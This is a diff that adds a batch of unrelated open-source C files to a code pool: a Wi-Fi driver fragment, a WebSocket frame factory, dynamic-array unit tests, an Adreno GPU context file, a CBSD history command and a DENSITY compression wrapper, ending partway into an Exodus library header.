+		spin_lock_bh(&priv->wmm.ra_list_spinlock);
+		if (!mwifiex_is_ralist_valid(priv, pra_list, ptrindex)) {
+			spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+			mwifiex_write_data_complete(adapter, skb_aggr, 1, -1);
+			return -1;
+		}
+		if (GET_BSS_ROLE(priv) == MWIFIEX_BSS_ROLE_STA &&
+		    adapter->pps_uapsd_mode && adapter->tx_lock_flag) {
+				priv->adapter->tx_lock_flag = false;
+				if (ptx_pd)
+					ptx_pd->flags = 0;
+		}
+
+		skb_queue_tail(&pra_list->skb_head, skb_aggr);
+
+		pra_list->total_pkt_count++;
+
+		atomic_inc(&priv->wmm.tx_pkts_queued);
+
+		tx_info_aggr->flags |= MWIFIEX_BUF_FLAG_REQUEUED_PKT;
+		spin_unlock_bh(&priv->wmm.ra_list_spinlock);
+		mwifiex_dbg(adapter, ERROR, "data: -EBUSY is returned\n");
+		break;
+	case -1:
+		mwifiex_dbg(adapter, ERROR, "%s: host_to_card failed: %#x\n",
+			    __func__, ret);
+		adapter->dbg.num_tx_host_to_card_failure++;
+		mwifiex_write_data_complete(adapter, skb_aggr, 1, ret);
+		return 0;
+	case -EINPROGRESS:
+		break;
+	case 0:
+		mwifiex_write_data_complete(adapter, skb_aggr, 1, ret);
+		break;
+	default:
+		break;
+	}
+	if (ret != -EBUSY) {
+		mwifiex_rotate_priolists(priv, pra_list, ptrindex);
+	}
+
+	return 0;
+}
diff --git a/pool/shard001/C/0023907_WebSocketFrameFactory.c b/pool/shard001/C/0023907_WebSocketFrameFactory.c
new file mode 100644
index 0000000000000000000000000000000000000000..0cb9f5f4f7b55a3077e63a4af883478f48a20534
--- /dev/null
+++ b/pool/shard001/C/0023907_WebSocketFrameFactory.c
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2013-2015
+ *
+ * @author jxfengzi@gmail.com
+ * @date   2013-11-19
+ *
+ * @file   WebSocketFrameFactory.c
+ *
+ * @remark
+ *      set tabstop=4
+ *      set shiftwidth=4
+ *      set expandtab
+ */
+
+#include <tiny_malloc.h>
+#include <tiny_log.h>
+#include "WebSocketFrameFactory.h"
+
+#define TAG     "WebSocketFrameFactory"
+
+TINY_LOR
+WebSocketFrame * WebSocketFrameFactory_NewTextFrame(bool final, const char *text)
+{
+    WebSocketFrame * thiz = WebSocketFrame_New();
+
+    LOG_D(TAG, "WebSocketFrameFactory_NewTextFrame: %s", text);
+
+    if (thiz != NULL)
+    {
+        thiz->final = final;
+        thiz->opcode = OPCODE_TEXT_FRAME;
+        thiz->length = (uint32_t) strlen(text);
+        thiz->data = tiny_malloc((uint32_t)(thiz->length + 1));
+        if (thiz->data != NULL)
+        {
+            memset(thiz->data, 0, (size_t) (thiz->length + 1));
+            memcpy(thiz->data, text, (size_t) (thiz->length));
+        }
+        else
+        {
+            WebSocketFrame_Delete(thiz);
+            thiz = NULL;
+        }
+    }
+
+    return thiz;
+}
+
+TINY_LOR
+WebSocketFrame * WebSocketFrameFactory_NewBinaryFrame(bool final, const uint8_t *binary, uint32_t length)
+{
+    WebSocketFrame * thiz = WebSocketFrame_New();
+    if (thiz != NULL)
+    {
+        thiz->final = final;
+        thiz->opcode = OPCODE_BINARY_FRAME;
+        thiz->length = length;
+        thiz->data = tiny_malloc((uint32_t)thiz->length);
+        if (thiz->data != NULL)
+        {
+            memcpy(thiz->data, binary, (size_t) (thiz->length));
+        }
+        else
+        {
+            WebSocketFrame_Delete(thiz);
+            thiz = NULL;
+        }
+    }
+
+    return thiz;
+}
+
+TINY_LOR
+WebSocketFrame * WebSocketFrameFactory_NewPingFrame(void)
+{
+    WebSocketFrame * thiz = WebSocketFrame_New();
+    if (thiz != NULL)
+    {
+        thiz->opcode = OPCODE_PING;
+    }
+
+    return thiz;
+}
+
+TINY_LOR
+WebSocketFrame * WebSocketFrameFactory_NewPongFrame(void)
+{
+    WebSocketFrame * thiz = WebSocketFrame_New();
+    if (thiz != NULL)
+    {
+        thiz->opcode = OPCODE_PONG;
+    }
+
+    return thiz;
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0023932_darray_tests.c b/pool/shard001/C/0023932_darray_tests.c
new file mode 100644
index 0000000000000000000000000000000000000000..f71a9f0d3ae16b91c440a3f2116ab15186f34b0b
--- /dev/null
+++ b/pool/shard001/C/0023932_darray_tests.c
@@ -0,0 +1,230 @@
+/**
+ *
+ * Copyright (c) 2010, Zed A. Shaw. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *
+ *     * Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *
+ *     * Neither the name of the Learn C The Hard Way, Zed A. Shaw, nor the names
+ *     of its contributors may be used to endorse or promote products
+ *     derived from this software without specific prior written
+ *     permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "minunit.h"
+#include <stdarg.h>
+#include <lcthw/darray.h>
+
+static DArray *array = NULL;
+static int *val1 = NULL;
+static int *val2 = NULL;
+
+char *test_create()
+{
+    array = DArray_create(sizeof(int), 100);
+    mu_assert(array != NULL, "DArray_create failed.");
+    mu_assert(array->contents != NULL, "contents are wrong in darray");
+    mu_assert(array->end == 0, "end isn't at the right spot");
+    mu_assert(array->element_size == sizeof(int), "element size is wrong.");
+    mu_assert(array->max == 100, "wrong max length on initial size");
+
+    return NULL;
+}
+
+char *test_destroy()
+{
+    DArray_destroy(array);
+
+    return NULL;
+}
+
+char *test_new()
+{
+    val1 = DArray_new(array);
+    mu_assert(val1 != NULL, "failed to make a new element");
+
+    val2 = DArray_new(array);
+    mu_assert(val2 != NULL, "failed to make a new element");
+
+    return NULL;
+}
+
+char *test_set()
+{
+    DArray_set(array, 0, val1);
+    DArray_set(array, 1, val2);
+
+    return NULL;
+}
+
+char *test_get()
+{
+    mu_assert(DArray_get(array, 0) == val1, "Wrong first value.");
+    mu_assert(DArray_get(array, 1) == val2, "Wrong second value.");
+
+    return NULL;
+}
+
+char *test_remove()
+{
+    int *val_check = DArray_remove(array, 0);
+    mu_assert(val_check != NULL, "Should not get NULL.");
+    mu_assert(*val_check == *val1, "Should get the first value.");
+    mu_assert(DArray_get(array, 0) == NULL, "Should be gone.");
+    DArray_free(val_check);
+
+    val_check = DArray_remove(array, 1);
+    mu_assert(val_check != NULL, "Should not get NULL.");
+    mu_assert(*val_check == *val2, "Should get the first value.");
+    mu_assert(DArray_get(array, 1) == NULL, "Should be gone.");
+    DArray_free(val_check);
+
+    return NULL;
+}
+
+char *test_expand_contract()
+{
+    int old_max = array->max;
+    DArray_expand(array);
+    mu_assert((unsigned int)array->max == old_max + array->expand_rate, "Wrong size after expand.");
+
+    DArray_contract(array);
+    mu_assert((unsigned int)array->max == array->expand_rate + 1, "Should stay at the expand_rate at least.");
+
+    DArray_contract(array);
+    mu_assert((unsigned int)array->max == array->expand_rate + 1, "Should stay at the expand_rate at least.");
+
+    return NULL;
+}
+
+char *test_push_pop()
+{
+    int i = 0;
+    for(i = 0; i < 1000; i++) {
+        int *val = DArray_new(array);
+        *val = i * 333;
+        DArray_push(array, val);
+    }
+
+    mu_assert(array->max == 1201, "Wrong max size.");
+
+    for(i = 999; i >= 0; i--) {
+        int *val = DArray_pop(array);
+        mu_assert(val != NULL, "Shouldn't get a NULL.");
+        mu_assert(*val == i * 333, "Wrong value.");
+        DArray_free(val);
+    }
+
+    return NULL;
+}
+
+char *do_compact(int expected, int count, ...)
+{
+    va_list ap;
+
+    DArray *array = DArray_create(sizeof(char *), count + 1);
+
+    va_start(ap, count);
+
+    int i;
+    for (i = 0; i < count; i++)
+    {
+        DArray_push(array, va_arg(ap, char *));
+    }
+
+    va_end(ap);
+
+    DArray_compact(array);
+
+    mu_assert(DArray_end(array) == expected, "Wrong length");
+
+    for (i = 0; i < DArray_end(array); i++)
+    {
+        mu_assert(DArray_get(array, i) != NULL, "NULL still in array");
+
+        if (i == 0)
+            continue;
+
+        char *a = DArray_get(array, i - 1);
+        char *b = DArray_get(array, i);
+
+        mu_assert(*a < *b, "Shuffled array");
+    }
+
+    DArray_destroy(array);
+
+    return NULL;
+}
+
+char *test_compact()
+{
+    char *r;
+
+    r = do_compact(0, 0);
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(0, 1, NULL);
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(1, 1, "1");
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(0, 2, NULL, NULL);
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(1, 3, "1", NULL, NULL);
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(1, 3, NULL, "1", NULL);
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(5, 7, "1", "2", NULL, "3", NULL, "4", "5");
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(5, 8, "1", "2", NULL, "3", NULL, "4", "5", NULL);
+    mu_assert(!r, "Compact failed");
+
+    r = do_compact(6, 11, NULL, "1", "2", NULL, "3", NULL, "4", "5", "6", NULL, NULL);
+    mu_assert(!r, "Compact failed");
+
+    return r;
+}
+
+char * all_tests() {
+    mu_suite_start();
+
+    mu_run_test(test_create);
+    mu_run_test(test_new);
+    mu_run_test(test_set);
+    mu_run_test(test_get);
+    mu_run_test(test_remove);
+    mu_run_test(test_expand_contract);
+    mu_run_test(test_push_pop);
+    mu_run_test(test_destroy);
+
+    mu_run_test(test_compact);
+
+    return NULL;
+}
+
+RUN_TESTS(all_tests);
diff --git a/pool/shard001/C/0023938_adreno_drawctxt.c b/pool/shard001/C/0023938_adreno_drawctxt.c
new file mode 100644
index 0000000000000000000000000000000000000000..45a57a9a5103d660b82cfb913d7ebdd03c5c6cea
--- /dev/null
+++ b/pool/shard001/C/0023938_adreno_drawctxt.c
@@ -0,0 +1,261 @@
+/* Copyright (c) 2002,2007-2012, Code Aurora Forum. All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 and
+ * only version 2 as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#include <linux/slab.h>
+
+#include "kgsl.h"
+#include "kgsl_sharedmem.h"
+#include "adreno.h"
+
+/* quad for copying GMEM to context shadow */
+#define QUAD_LEN 12
+
+static unsigned int gmem_copy_quad[QUAD_LEN] = {
+	0x00000000, 0x00000000, 0x3f800000,
+	0x00000000, 0x00000000, 0x3f800000,
+	0x00000000, 0x00000000, 0x3f800000,
+	0x00000000, 0x00000000, 0x3f800000
+};
+
+#define TEXCOORD_LEN 8
+
+static unsigned int gmem_copy_texcoord[TEXCOORD_LEN] = {
+	0x00000000, 0x3f800000,
+	0x3f800000, 0x3f800000,
+	0x00000000, 0x00000000,
+	0x3f800000, 0x00000000
+};
+
+/*
+ * Helper functions
+ * These are global helper functions used by the GPUs during context switch
+ */
+
+/**
+ * uint2float - convert a uint to IEEE754 single precision float
+ * @ uintval - value to convert
+ */
+
+unsigned int uint2float(unsigned int uintval)
+{
+	unsigned int exp, frac = 0;
+
+	if (uintval == 0)
+		return 0;
+
+	exp = ilog2(uintval);
+
+	/* Calculate fraction */
+	if (23 > exp)
+		frac = (uintval & (~(1 << exp))) << (23 - exp);
+
+	/* Exp is biased by 127 and shifted 23 bits */
+	exp = (exp + 127) << 23;
+
+	return exp | frac;
+}
+
+static void set_gmem_copy_quad(struct gmem_shadow_t *shadow)
+{
+	/* set vertex buffer values */
+	gmem_copy_quad[1] = uint2float(shadow->height);
+	gmem_copy_quad[3] = uint2float(shadow->width);
+	gmem_copy_quad[4] = uint2float(shadow->height);
+	gmem_copy_quad[9] = uint2float(shadow->width);
+
+	gmem_copy_quad[0] = 0;
+	gmem_copy_quad[6] = 0;
+	gmem_copy_quad[7] = 0;
+	gmem_copy_quad[10] = 0;
+
+	memcpy(shadow->quad_vertices.hostptr, gmem_copy_quad, QUAD_LEN << 2);
+
+	memcpy(shadow->quad_texcoords.hostptr, gmem_copy_texcoord,
+		TEXCOORD_LEN << 2);
+}
+
+/**
+ * build_quad_vtxbuff - Create a quad for saving/restoring GMEM
+ * @ context - Pointer to the context being created
+ * @ shadow - Pointer to the GMEM shadow structure
+ * @ incmd - Pointer to pointer to the temporary command buffer
+ */
+
+/* quad for saving/restoring gmem */
+void build_quad_vtxbuff(struct adreno_context *drawctxt,
+		struct gmem_shadow_t *shadow, unsigned int **incmd)
+{
+	 unsigned int *cmd = *incmd;
+
+	/* quad vertex buffer location (in GPU space) */
+	shadow->quad_vertices.hostptr = cmd;
+	shadow->quad_vertices.gpuaddr = virt2gpu(cmd, &drawctxt->gpustate);
+
+	cmd += QUAD_LEN;
+
+	/* tex coord buffer location (in GPU space) */
+	shadow->quad_texcoords.hostptr = cmd;
+	shadow->quad_texcoords.gpuaddr = virt2gpu(cmd, &drawctxt->gpustate);
+
+	cmd += TEXCOORD_LEN;
+
+	set_gmem_copy_quad(shadow);
+	*incmd = cmd;
+}
+
+/**
+ * adreno_drawctxt_create - create a new adreno draw context
+ * @device - KGSL device to create the context on
+ * @pagetable - Pagetable for the context
+ * @context- Generic KGSL context structure
+ * @flags - flags for the context (passed from user space)
+ *
+ * Create a new draw context for the 3D core.  Return 0 on success,
+ * or error code on failure.
+ */
+int adreno_drawctxt_create(struct kgsl_device *device,
+			struct kgsl_pagetable *pagetable,
+			struct kgsl_context *context, uint32_t flags)
+{
+	struct adreno_context *drawctxt;
+	struct adreno_device *adreno_dev = ADRENO_DEVICE(device);
+	int ret;
+
+	drawctxt = kzalloc(sizeof(struct adreno_context), GFP_KERNEL);
+
+	if (drawctxt == NULL)
+		return -ENOMEM;
+
+	drawctxt->pagetable = pagetable;
+	drawctxt->bin_base_offset = 0;
+
+	if (flags & KGSL_CONTEXT_PREAMBLE)
+		drawctxt->flags |= CTXT_FLAGS_PREAMBLE;
+
+	if (flags & KGSL_CONTEXT_NO_GMEM_ALLOC)
+		drawctxt->flags |= CTXT_FLAGS_NOGMEMALLOC;
+
+	ret = adreno_dev->gpudev->ctxt_create(adreno_dev, drawctxt);
+	if (ret)
+		goto err;
+
+	context->devctxt = drawctxt;
+	return 0;
+err:
+	kfree(drawctxt);
+	return ret;
+}
+
+/**
+ * adreno_drawctxt_destroy - destroy a draw context
+ * @device - KGSL device that owns the context
+ * @context- Generic KGSL context container for the context
+ *
+ * Destroy an existing context.  Return 0 on success or error
+ * code on failure.
+ */
+
+/* destroy a drawing context */
+
+void adreno_drawctxt_destroy(struct kgsl_device *device,
+			  struct kgsl_context *context)
+{
+	struct adreno_device *adreno_dev = ADRENO_DEVICE(device);
+	struct adreno_context *drawctxt = context->devctxt;
+
+	if (drawctxt == NULL)
+		return;
+
+	/* deactivate context */
+	if (adreno_dev->drawctxt_active == drawctxt) {
+		/* no need to save GMEM or shader, the context is
+		 * being destroyed.
+		 */
+		drawctxt->flags &= ~(CTXT_FLAGS_GMEM_SAVE |
+				     CTXT_FLAGS_SHADER_SAVE |
+				     CTXT_FLAGS_GMEM_SHADOW |
+				     CTXT_FLAGS_STATE_SHADOW);
+
+		adreno_drawctxt_switch(adreno_dev, NULL, 0);
+	}
+
+	adreno_idle(device, KGSL_TIMEOUT_DEFAULT);
+
+	if (adreno_is_a20x(adreno_dev))
+		kgsl_setstate(device, KGSL_MMUFLAGS_PTUPDATE);
+
+	kgsl_sharedmem_free(&drawctxt->gpustate);
+	kgsl_sharedmem_free(&drawctxt->context_gmem_shadow.gmemshadow);
+
+	kfree(drawctxt);
+	context->devctxt = NULL;
+}
+
+/**
+ * adreno_drawctxt_set_bin_base_offset - set bin base offset for the context
+ * @device - KGSL device that owns the context
+ * @context- Generic KGSL context container for the context
+ * @offset - Offset to set
+ *
+ * Set the bin base offset for A2XX devices.  Not valid for A3XX devices.
+ */
+
+void adreno_drawctxt_set_bin_base_offset(struct kgsl_device *device,
+				      struct kgsl_context *context,
+				      unsigned int offset)
+{
+	struct adreno_context *drawctxt = context->devctxt;
+
+	if (drawctxt)
+		drawctxt->bin_base_offset = offset;
+}
+
+/**
+ * adreno_drawctxt_switch - switch the current draw context
+ * @adreno_dev - The 3D device that owns the context
+ * @drawctxt - the 3D context to switch to
+ * @flags - Flags to accompany the switch (from user space)
+ *
+ * Switch the current draw context
+ */
+
+void adreno_drawctxt_switch(struct adreno_device *adreno_dev,
+				struct adreno_context *drawctxt,
+				unsigned int flags)
+{
+	struct kgsl_device *device = &adreno_dev->dev;
+
+	if (drawctxt) {
+		if (flags & KGSL_CONTEXT_SAVE_GMEM)
+			/* Set the flag in context so that the save is done
+			* when this context is switched out. */
+			drawctxt->flags |= CTXT_FLAGS_GMEM_SAVE;
+		else
+			/* Remove GMEM saving flag from the context */
+			drawctxt->flags &= ~CTXT_FLAGS_GMEM_SAVE;
+	}
+
+	/* already current? */
+	if (adreno_dev->drawctxt_active == drawctxt)
+		return;
+
+	KGSL_CTXT_INFO(device, "from %p to %p flags %d\n",
+			adreno_dev->drawctxt_active, drawctxt, flags);
+
+	/* Save the old context */
+	adreno_dev->gpudev->ctxt_save(adreno_dev, adreno_dev->drawctxt_active);
+
+	/* Set the new context */
+	adreno_dev->drawctxt_active = drawctxt;
+	adreno_dev->gpudev->ctxt_restore(adreno_dev, drawctxt);
+}
diff --git a/pool/shard001/C/0023941_cbsdhistory.c b/pool/shard001/C/0023941_cbsdhistory.c
new file mode 100644
index 0000000000000000000000000000000000000000..5ab3654f8f7e54e3d842aa20ffe84ddd6ae3abad
--- /dev/null
+++ b/pool/shard001/C/0023941_cbsdhistory.c
@@ -0,0 +1,183 @@
+// This is implemenation of build-in "cbsdhostory" command
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <sys/file.h>
+#include <errno.h>
+#include <paths.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+
+#include "main.h"
+
+// max history in bytes before remove first line
+// default - 300 Kbytes
+#define MAX_HISTORY_SIZE 300000
+
+int removeline(int fd, int line);
+
+// return 0 if history size less than MAX_HISTORY_SIZE
+// return 1 if history size greater than MAX_HISTORY_SIZE
+int
+check_history_size(char *filename)
+{
+	struct stat st;
+
+	if (stat(filename, &st) == 0) {
+		if (st.st_size < MAX_HISTORY_SIZE)
+			return 0;
+	}
+
+	return 1;
+}
+
+// try to lock file, return 0 if success, return 1 if already locked
+int
+setlock(int fd)
+{
+	struct flock lock, savelock;
+
+	lock.l_type = F_WRLCK; /* Test for any lock on any part of file. */
+	lock.l_start = 0;
+	lock.l_whence = SEEK_SET;
+	lock.l_len = 0;
+
+	savelock = lock;
+
+	fcntl(fd, F_GETLK,
+	    &lock); /* Overwrites lock structure with preventors. */
+
+	if (lock.l_type == F_WRLCK)
+		return 1;
+	else if (lock.l_type == F_RDLCK) {
+		//     printf("Process %d has a read lock already!\n",
+		//     lock.l_pid);
+		return 1;
+	} else
+		fcntl(fd, F_SETLK, &savelock);
+
+	return 0;
+}
+
+int
+historycmd(int argc, char *argv[])
+{
+	return 0; // need for refactoring
+
+	int fd = 0;
+	int res = 0;
+	int i = 0;
+	char *line = NULL;
+	FILE *fp;
+	//    mode_t mode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH |
+	//    S_IWOTH;
+
+	if (cbsd_enable_history == 0)
+		return 0;
+	// do not logging history command in history
+	if (!strcmp(argv[1], "history"))
+		return 0;
+	if (!strcmp(argv[1], "sudo"))
+		return 0;
+
+	if ((fd = open(cbsd_history_file, O_RDWR | O_APPEND | O_CREAT,
+		 (mode_t)0600)) == -1) {
+		return 0;
+	}
+
+	if (NULL == (fp = fdopen(fd, "a"))) {
+		close(fd);
+		return 1;
+	}
+
+	if (setlock(fd) != 0)
+		return 1; // locked
+	// rotate first line if necessary
+	if (check_history_size(cbsd_history_file) != 0)
+		removeline(fd, 1);
+
+	for (i = 1; i < argc; i++)
+		res += strlen(argv[i]) + 1;
+
+	res = res + 5; //+5: "cbsd " before and + "\n" at the end
+
+	line = calloc(res, sizeof(char));
+	strcpy(line, "cbsd ");
+
+	for (i = 1; i < argc; i++) {
+		strcat(line, argv[i]);
+		strcat(line, " ");
+	}
+
+	line[res - 1] = '\n';
+	fputs(line, fp);
+	free(line);
+
+	fflush(fp);
+	fclose(fp);
+	return 0;
+}
+
+// remove specified line number from file
+int
+removeline(int fd, int line)
+{
+	if (fd < 0) {
+		return EXIT_FAILURE;
+	}
+
+	struct stat stat_buf;
+
+	if (fstat(fd, &stat_buf) < 0) {
+		perror("fstat");
+		return EXIT_FAILURE;
+	}
+
+	void *map = mmap(NULL, stat_buf.st_size, PROT_READ | PROT_WRITE,
+	    MAP_SHARED, fd, 0);
+
+	if (map == MAP_FAILED) {
+		perror("mmap");
+		return EXIT_FAILURE;
+	}
+
+	char *linen = map;
+	int i;
+
+	for (i = 1; i < line; ++i) {
+		linen = memchr(linen, '\n',
+		    stat_buf.st_size - (linen - (char *)map));
+		if (!linen) {
+			fprintf(stderr, "Line %d is past EOF.\n", line);
+			return EXIT_FAILURE;
+		}
+		++linen;
+	}
+
+	char *linen1 = memchr(linen, '\n',
+	    stat_buf.st_size - (linen - (char *)map));
+
+	if (linen1) {
+		++linen1;
+		memmove(linen, linen1,
+		    stat_buf.st_size - (linen1 - (char *)map));
+		if (munmap(map, stat_buf.st_size) < 0) {
+			perror("munmap");
+			return EXIT_FAILURE;
+		}
+
+		if (ftruncate(fd, stat_buf.st_size - (linen1 - linen)) < 0) {
+			perror("ftruncate");
+			return EXIT_FAILURE;
+		}
+	} else {
+		munmap(map, stat_buf.st_size);
+		if (ftruncate(fd, linen - (char *)map) < 0) {
+			perror("ftruncate");
+			return EXIT_FAILURE;
+		}
+	}
+	return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0023959_comp_density.c b/pool/shard001/C/0023959_comp_density.c
new file mode 100644
index 0000000000000000000000000000000000000000..6b4a09844684a7625bd046775b49d1a2537a2ac3
--- /dev/null
+++ b/pool/shard001/C/0023959_comp_density.c
@@ -0,0 +1,101 @@
+/*****************************************************************************/
+/*                                                  ###                      */
+/*       #####          ###    ###                  ###  CREATE: 2020-09-15  */
+/*     #######          ###    ###      [CORE]      ###  ~~~~~~~~~~~~~~~~~~  */
+/*    ########          ###    ###                  ###  MODIFY: XXXX-XX-XX  */
+/*    ####  ##          ###    ###                  ###  ~~~~~~~~~~~~~~~~~~  */
+/*   ###       ### ###  ###    ###    ####    ####  ###   ##  +-----------+  */
+/*  ####       ######## ##########  #######  ###### ###  ###  |  A NEW C  |  */
+/*  ###        ######## ########## ########  ###### ### ###   | FRAMEWORK |  */
+/*  ###     ## #### ### ########## ###  ### ###     ######    |  FOR ALL  |  */
+/*  ####   ### ###  ### ###    ### ###  ### ###     ######    | PLATFORMS |  */
+/*  ########## ###      ###    ### ######## ####### #######   |  AND ALL  |  */
+/*   #######   ###      ###    ### ########  ###### ###  ###  | COMPILERS |  */
+/*    #####    ###      ###    ###  #### ##   ####  ###   ##  +-----------+  */
+/*  =======================================================================  */
+/*  >>>>>>>>>>>>>>>>>>>> CrHack DENSITY 压缩解压函数库 <<<<<<<<<<<<<<<<<<<<  */
+/*  =======================================================================  */
+/*****************************************************************************/
+
+#include "Complib.h"
+#include "density/density_api.h"
+
+/*
+=======================================
+    DENSITY 压缩
+=======================================
+*/
+CR_API leng_t
+compr_density (
+  __CR_OT__ void_t*         dst,
+  __CR_IN__ leng_t          dstlen,
+  __CR_IN__ const void_t*   src,
+  __CR_IN__ leng_t          srclen,
+  __CR_IN__ uint_t          type
+    )
+{
+    density_processing_result   rett;
+    /* --------------------------- */
+    leng_t  request = (leng_t)density_compress_safe_size(srclen);
+
+    /* 目前狮子有问题 */
+    if (type == 3)
+        return (0);
+
+    if (dst == NULL)
+        return (request);
+
+    /* 比较特殊, 需要安全检查 */
+    if (dstlen < request)
+        return (0);
+    rett = density_compress((uint8_t*)src, srclen,
+                            (uint8_t*)dst, dstlen, (DENSITY_ALGORITHM)type);
+    return (rett.state ? 0 : (leng_t)rett.bytesWritten);
+}
+
+/*
+=======================================
+    DENSITY 解压
+=======================================
+*/
+CR_API leng_t
+uncompr_density (
+  __CR_OT__ void_t*         dst,
+  __CR_IN__ leng_t          dstlen,
+  __CR_IN__ const void_t*   src,
+  __CR_IN__ leng_t          srclen
+    )
+{
+    void_t*                     buff;
+    density_processing_result   rett;
+    /* --------------------------- */
+    leng_t  request = (leng_t)density_decompress_safe_size(dstlen);
+
+    /* 需要更大的解压缓冲区 */
+    buff = mem_malloc(request);
+    if (buff == NULL)
+        return (0);
+    rett = density_decompress((uint8_t*)src, srclen, (uint8_t*)buff, request);
+    if (!rett.state) {
+        if (rett.bytesWritten > dstlen) {
+            mem_free(buff);
+            return (0);
+        }
+        request = (leng_t)rett.bytesWritten;
+        mem_cpy(dst, buff, request);
+        mem_free(buff);
+        return (request);
+    }
+    mem_free(buff);
+    return (0);
+}
+
+/*****************************************************************************/
+/* _________________________________________________________________________ */
+/* uBMAzRBoAKAHaACQD6FoAIAPqbgA/7rIA+5CM9uKw8D4Au7u7mSIJ0t18mYz0mYz9rAQZCgHc */
+/* wRIZIgHZovGBXUAZg+v0GbB+gRmgcJ7BAAAisIlAwB1Av7LSHUC/s9IdQL+w0h1Av7HZkZmgf */
+/* 4JLgIAdb262gPsqAh0+zP/uQB9ZYsFZYktq+L3sMi/AAK7gAKJAUtLdfq5IANXvT8BiQzfBIv */
+/* FLaAAweAEmff53wb+Adjx3kQE2xwy5Io8ithkigcFgACJBN8E3sneNvwB2xyLHDkdfA2JHSyA */
+/* adtAAQPdZYgHR0dNdbZfSYP5UHWr/kQEtAHNFg+Eef/DWAKgDw== |~~~~~~~~~~~~~~~~~~~ */
+/* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >>> END OF FILE <<< */
+/*****************************************************************************/
diff --git a/pool/shard001/C/0023981_ex_put_ss_param_global.c b/pool/shard001/C/0023981_ex_put_ss_param_global.c
new file mode 100644
index 0000000000000000000000000000000000000000..ce2615cfd40be5ce8a9a401810f852cd6c8c9881
--- /dev/null
+++ b/pool/shard001/C/0023981_ex_put_ss_param_global.c
@@ -0,0 +1,159 @@
+/*
+ * Copyright (c) 1998 Sandia Corporation. Under the terms of Contract
+ * DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government
+ * retains certain rights in this software.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ *       notice, this list of conditions and the following disclaimer.
+ * 
+ *     * Redistributions in binary form must reproduce the above
+ *       copyright notice, this list of conditions and the following
+ *       disclaimer in the documentation and/or other materials provided
+ *       with the distribution.  
+ * 
+ *     * Neither the name of Sandia Corporation nor the names of its
+ *       contributors may be used to endorse or promote products derived
+ *       from this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ * 
+ */
+
+/*****************************************************************************/
+/*****************************************************************************/
+/*****************************************************************************/
+/* Function(s) contained in this file:
+ *     ex_put_ss_param_global()
+ *****************************************************************************
+ * This function outputs the global side-set parameters.
+ *****************************************************************************
+ *  Variable Index:
